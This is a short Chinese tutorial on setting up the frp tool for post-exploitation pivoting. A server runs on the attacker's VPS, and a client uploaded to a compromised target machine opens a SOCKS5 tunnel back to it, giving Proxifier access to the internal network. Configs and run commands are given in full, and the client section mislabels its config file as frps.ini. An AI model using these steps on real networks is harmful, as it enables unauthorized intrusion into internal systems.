1. 首先下载Frp : https://github.com/fatedier/frp
2. 建议使用最新版,目前是0.37.1 本文就以此版本为例,用法都一样。
(1.) frp0.37.1 下载地址:https://github.com/fatedier/frp/releases/tag/v0.37.1
(2.) 根据靶机和服务器类型选择正确的包。
<1.>如果你独立ip服务器(或vps)的机器是win,那么服务端就要下载 frp_0.37.1_windows_amd64.zip 这个包,然后取里面的
frps.exe 和 frps.ini 这两个文件作为服务端运行文件,这两个文件上传到你独立ip的vps。
<2. >如果你靶机是linux,那就就下载一个 frp_0.37.1_linux_arm64.tar.gz 取里面的 frpc 和 frpc.ini 作为客户端运行文件,上传到靶机。
也就是说linux和win的包客户端和服务端可以穿插使用。既:服务端可以是win而客户端是linux 或者 服务端是linux 而客户端是win
3. 下载后解压,如下图
4. frp 软件介绍
服务端包含:frps.exe frps.ini frps_full.ini
客户端包含:frpc.exe frpc.ini frpc_full.ini
一般来说:使用frpc.ini精简版即可。
5. 服务端配置:
(1). 首先修改frps.ini 文件为如下代码
[common] bind_addr=0.0.0.0 bind_port = 7000 token=12310086 dashboard_port = 7500 dashboard_user = admin dashboard_pwd = admin123
(2). 将 frps 及 frps.ini 放到 服务器上面.
备注:服务端配置文件有两个分别是精简版的frps.ini 与 完整版的 frps_full.ini 两个文件。
新手默认使用frps.ini这个精简版的就可以,且frps.ini 默认无需修改任何配置。
(3). 运行命令开启服务端:
1.>windows系统: C:\User\Administrator> frps.exe -c frps.ini
2.>Linux 系 统: root@kali ./frps -c ./frps.ini (运行前先执行 chmod +x frps 给与可执行权限)即可看到显示frps started successfully 证明已开启服务端。
3.>此时访问: http://服务器ip地址:7500 弹出弹窗让输入用户名密码,输入上面设置的admin admin123即可进入控制面板,说明服务端开启成功。
6. 配置 靶机客户端 搭建Socks5
(1.) 修改frps.ini
[common] server_addr =服务器vps的的ip地址 server_port = 7000 token=12310086 [test_sock5] type = tcp remote_port =8111 plugin = socks5 plugin_user = admin plugin_passwd = admin123 use_encryption = true use_compression = true
(2.) 使用命令连接服务器
第一步: 给与frps权限: chmod +x frpc 第二步: 执行: ./frpc -c frps.ini
(3.) 使用proxifier 全局代理,进入内网